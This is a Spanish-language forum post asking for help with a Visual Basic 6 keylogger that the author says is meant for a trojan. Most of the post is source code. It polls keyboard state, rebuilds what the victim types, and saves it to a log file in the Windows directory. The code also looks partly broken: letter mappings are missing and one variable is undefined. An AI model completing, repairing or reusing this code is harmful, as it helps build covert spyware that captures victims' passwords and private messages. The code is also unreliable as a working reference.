El keylogger funciona casi perfectamente pero cuando le doy a espacio el cursor tabula hacia el principio del textbox. Es decir, en vez de escribir "ola me llamo alberto" escribe "alberto llamo me ola ". En cuanto le doy a espacio genera el espacio pero retorna hacia atras. No se que sera. Lo estoy haciendo para un troyano, cuando lo termine si me animo libero el codigo a la comunidad. Para hacer las pruebas he creado un programa simple, cuando este funcional lo introducco en el troyano.
En el form:
Código
Private Sub Command1_Click() Timer1.Enabled = True Timer2.Enabled = True Command1.Enabled = False Command2.Enabled = True End Sub Private Sub Command2_Click() Timer1.Enabled = False Timer2.Enabled = False Command2.Enabled = False Command1.Enabled = True End Sub Private Sub Form_Load() Command2.Enabled = False Timer1.Enabled = False caracter(33) = "[Pag Arriba]" caracter(34) = "[Pag Abajo]" caracter(35) = "[Fin]" caracter(36) = "[Inicio]" caracter(45) = "[Insertar]" caracter(46) = "[Supr]" caracter(48) = "=" caracter(49) = "!" caracter(50) = "@" caracter(51) = "#" caracter(52) = "$" caracter(53) = "%" caracter(54) = "&" caracter(55) = "/" caracter(56) = "(" caracter(57) = ")" caracter(186) = "`" caracter(187) = "+" caracter(188) = "," caracter(189) = "-" caracter(190) = "." caracter(191) = "}" caracter(219) = "{" ' caracter(220) = "\" caracter(221) = "¡" caracter(222) = "{" caracter(86) = "^" caracter(87) = "*" caracter(88) = ";" caracter(89) = "_" caracter(90) = ":" caracter(91) = "?" caracter(119) = "?" caracter(120) = "|" caracter(121) = "¿" caracter(122) = """" caracter(96) = "0" caracter(97) = "1" caracter(98) = "2" caracter(99) = "3" caracter(100) = "4" caracter(101) = "5" caracter(102) = "6" caracter(103) = "7" caracter(104) = "8" caracter(105) = "9" caracter(106) = "*" caracter(107) = "+" caracter(109) = "-" caracter(110) = "." caracter(111) = "/" caracter(192) = "ñ" caracter(92) = "Ñ" End Sub Private Sub Timer1_Timer() Dim teclas As Long For teclas = 65 To 90 If GetAsyncKeyState(teclas) = -32767 Then If GetAsyncKeyState(VK_SHIFT) < 0 Then If GetKeyState(VK_CAPITAL) > 0 Then Text1.Text = Text1.Text & LCase(caracter(teclas)) Exit Sub Else Text1.Text = Text1.Text & UCase(caracter(teclas)) Exit Sub End If Else If GetKeyState(VK_CAPITAL) > 0 Then Text1.Text = Text1.Text & UCase(caracter(teclas)) Exit Sub Else Text1.Text = Text1.Text & LCase(caracter(teclas)) Exit Sub End If End If End If Next For teclas = 48 To 57 If GetAsyncKeyState(teclas) = -32767 Then If GetAsyncKeyState(VK_SHIFT) < 0 Then Text1.Text = Text1.Text & caracter(teclas) Exit Sub Else Text1.Text = Text1.Text & caracter(teclas) Exit Sub End If End If Next For teclas = 186 To 192 If GetAsyncKeyState(teclas) = -32767 Then If GetAsyncKeyState(VK_SHIFT) < 0 Then Text1.Text = Text1.Text & caracter(teclas - 100) Exit Sub Else Text1.Text = Text1.Text & caracter(teclas) Exit Sub End If End If Next For teclas = 219 To 222 If GetAsyncKeyState(teclas) = -32767 Then If GetAsyncKeyState(VK_SHIFT) < 0 Then Text1.Text = Text1.Text & caracter(teclas - 100) Exit Sub Else Text1.Text = Text1.Text & caracter(teclas) Exit Sub End If End If Next For teclas = 96 To 111 If GetAsyncKeyState(teclas) = -32767 Then If GetAsyncKeyState(VK_ALT) < 0 Then Text1.Text = Text1.Text & caracter(teclas) Exit Sub Else Text1.Text = Text1.Text & "[Alt]" Exit Sub End If End If Next If GetAsyncKeyState(32) = -32767 Then Text1.Text = Text1.Text & " " End If If GetAsyncKeyState(13) = -32767 Then Text1.Text = Text1.Text & "Enter>" & vbCrLf End If If GetAsyncKeyState(8) = -32767 Then If (Right(Text1.Text, 1)) = " " Then GoTo nod tip = Len(Text1.Text) - 1 Text1.Text = Left(Text1.Text, tip) nod: End If If GetAsyncKeyState(37) = -32767 Then Text1.Text = Text1.Text & "[Izquierda]" End If If GetAsyncKeyState(38) = -32767 Then Text1.Text = Text1.Text & "[Arriva]" End If If GetAsyncKeyState(39) = -32767 Then Text1.Text = Text1.Text & "[Derecha]" End If If GetAsyncKeyState(40) = -32767 Then Text1.Text = Text1.Text & "[Abajo]" End If If GetAsyncKeyState(9) = -32767 Then Text1.Text = Text1.Text & "[Tab]" End If If GetAsyncKeyState(27) = -32767 Then Text1.Text = Text1.Text & "[Escape]" End If For teclas = 45 To 46 If GetAsyncKeyState(teclas) = -32767 Then Text1.Text = Text1.Text & caracter(letras) End If Next End Sub Private Sub Timer2_Timer() GuardaLog End Sub
En el módulo:
Código
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Public caracter(255) As String Public Const VK_SHIFT = &H10 Public Const VK_CTRL = &H11 Public Const VK_ALT = &H12 Public Const VK_CAPITAL = &H14 Public AltDown As Boolean Function GuardaLog() Dim ar As String Open Environ("windir") & "\keylog.txt" For Output As #1 Print #1, Form1.Text1.Text Close #1 End Function Function LeeLog(archivo As String) As String Dim lee As String Open archivo For Input As #1 lee = Input(LOF(1), 1) Close #1 LeeLog = lee End Function
El espacio es el código ascii 32 pero ahi no veo ningun problema.
Salu2 y gracias por adelantado.